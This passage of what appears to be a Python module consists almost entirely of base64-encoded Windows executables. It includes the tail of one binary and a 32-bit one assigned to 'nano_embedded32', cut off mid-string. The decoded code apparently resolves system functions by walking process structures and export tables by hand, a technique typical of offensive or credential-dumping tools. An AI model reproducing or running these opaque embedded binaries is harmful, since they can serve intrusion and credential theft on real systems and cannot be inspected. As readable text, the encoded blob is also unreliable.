AxkAAA4EQBAECQAAB6kAAA9EQBAICQAADqkAAA/EQBAPCQAAAPkQAACEUBABCRAAATkQAADEUBACCRAABPkQAAEEUBAFCRAADRkQAAGEUBAOCRAADjkQAAJEUBAPCRAADokgAAKEUBAPCSAADzkgAAQEUBAACTAABqkwAAREUBAHCTAADSlAAAUEUBAOCUAAAUmAAAXEUBACCYAABhmAAAdEUBAHCYAAB8mAAAfEUBAICYAAA6mgAAgEUBAECaAACrmgAAiEUBALCaAAAomwAAmEUBADCbAAC5mwAApEUBAMCbAACinAAArEUBALCcAADcnAAAtEUBAOCcAAAvnQAAuEUBADCdAADPnQAAvEUBANCdAABIngAAyEUBAFCeAACJngAAzEUBAJCeAAD7ngAA0EUBAACfAAA2nwAA1EUBAECfAADHnwAA2EUBANCfAACOoAAA3EUBANCgAAD3oAAA4EUBAAChAABHoQAA5EUBAFChAABBogAA8EUBAFCiAACnogAA+EUBALCiAAAIpAAAAEYBABCkAABApQAAFEYBAEClAACHpQAAIEYBAJClAAA9pgAALEYBAECmAABxqwAANEYBAICrAAAUrwAATEYBACCvAACAsAAAZEYBAICwAAAitAAAeEYBADC0AAAQtQAAiEYBABC1AACwtQAAlEYBALC1AACQtgAAoEYBAJC2AAAAuAAArEYBAAC4AAA6vAAAuEYBAEC8AABuxwAAzEYBAHDHAACnxwAA5EYBALDHAAAsyAAA7EYBADDIAABMyAAA+EYBAFDIAADGyQAA/EYBANDJAADX4AAAFEcBAODgAADV4QAAMEcBAODhAAAj4gAAQEcBADDiAAAM4wAAREcBABDjAABS4wAAUEcBAGDjAABS5AAAWEcBAGDkAADE5AAAZEcBANDkAAB95QAAbEcBAIDlAAA95gAAfEcBAEDmAACZ5wAAhEcBAKDnAACg6QAAnEcBAKDpAACu6gAAsEcBALDqAAAA6wAAxEcBAADrAADF7AAAyEcBANDsAADo7QAA2EcBAPDtAAD57gAA4EcBAADvAAAq7wAA7EcBADDvAABY7wAA8EcBAGDvAABr7wAA9EcBAHDvAAB77wAA+EcBAIDvAACL7wAA/EcBAJDvAAD37wAAAEgBAADwAABg8AAACEgBAGDwAABo8AAAEEgBAHDwAA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AAAAAApoYBAAAAAACwhgEAAAAAALqGAQAAAAAAxoYBAAAAAADOhgEAAAAAANaGAQAAAAAA4IYBAAAAAADohgEAAAAAAPKGAQAAAAAA+oYBAAAAAAAChwEAAAAAAAyHAQAAAAAAGocBAAAAAAAkhwEAAAAAADCHAQAAAAAAOocBAAAAAABEhwEAAAAAAE6HAQAAAAAAVocBAAAAAABghwEAAAAAAGiHAQAAAAAAdIcBAAAAAAB+hwEAAAAAAIiHAQAAAAAAkocBAAAAAACchwEAAAAAAKaHAQAAAAAAsocBAAAAAAC8hwEAAAAAAMaHAQAAAAAA0IcBAAAAAAAAAAAAAAAAABsBRGVsZXRlQ3JpdGljYWxTZWN0aW9uAD8BRW50ZXJDcml0aWNhbFNlY3Rpb24AAHYCR2V0TGFzdEVycm9yAADMAkdldFByb2Nlc3NIZWFwAADnAkdldFN0YXJ0dXBJbmZvQQBfA0hlYXBBbGxvYwBlA0hlYXBGcmVlAAB8A0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb24AlwNJc0RCQ1NMZWFkQnl0ZUV4AADYA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAMBE11bHRpQnl0ZVRvV2lkZUNoYXIAcgVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAggVTbGVlcAClBVRsc0dldFZhbHVlANQFVmlydHVhbFByb3RlY3QAANYFVmlydHVhbFF1ZXJ5AAALBldpZGVDaGFyVG9NdWx0aUJ5dGUAOABfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAQABfX19sY19jb2RlcGFnZV9mdW5jAEMAX19fbWJfY3VyX21heF9mdW5jAABSAF9fZ2V0bWFpbmFyZ3MAUwBfX2luaXRlbnYAVABfX2lvYl9mdW5jAABhAF9fc2V0X2FwcF90eXBlAABjAF9fc2V0dXNlcm1hdGhlcnIAAHIAX2FjbWRsbgB5AF9hbXNnX2V4aXQAAIsAX2NleGl0AACXAF9jb21tb2RlAAC+AF9lcnJubwAA3ABfZm1vZGUAABsBX2luaXR0ZXJtAIEBX2xvY2sAJwJfb25leGl0ALICX3RpbWU2NADHAl91bmxvY2sACANfd2NzaWNtcAAAhQNhYm9ydACSA2F0b2kAAJYDY2FsbG9jAACjA2V4aXQAALcDZnByaW50ZgC5A2ZwdXRjAL4DZnJlZQAAywNmd3JpdGUAAPQDbG9jYWxlY29udgAA+gNtYWxsb2MAAP0DbWJzdG93Y3MAAAEEbWVtY21wAAACBG1lbWNweQAABARtZW1zZXQAABYEcmFuZAAAIgRzaWduYWwAACsEc3JhbmQANwRzdHJlcnJvcgAAOQRzdHJsZW4AADwEc3RybmNtcAA9BHN0cm5jcHkAQARzdHJyY2hyAEEEc3Ryc3BuAABeBHZmcHJpbnRmAAB4BHdjc2xlbgAAeQR3Y3NuY2F0AHwEd2NzbmNweQCDBHdjc3N0cgAAAAAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAEtFUk5FTDMyLmRsbAAAAAAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQBtc3ZjcnQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBEAQAEAAAAAAAAAAAAAAAAAAAAAAAAAEBAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAUJEAQAEAAAAgkQBAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAADAAAAOinAAAAAAEAHAAAABCgcKCAoJCgoKCwoLigwKDIoNCgABABABQAAADgrACtCK0QrRitAAAAIAEARAAAAKCjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKUAAACQAQAQAAAACKAgoDigQKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + ) + self.nano_embedded32 = base64.b64decode( + "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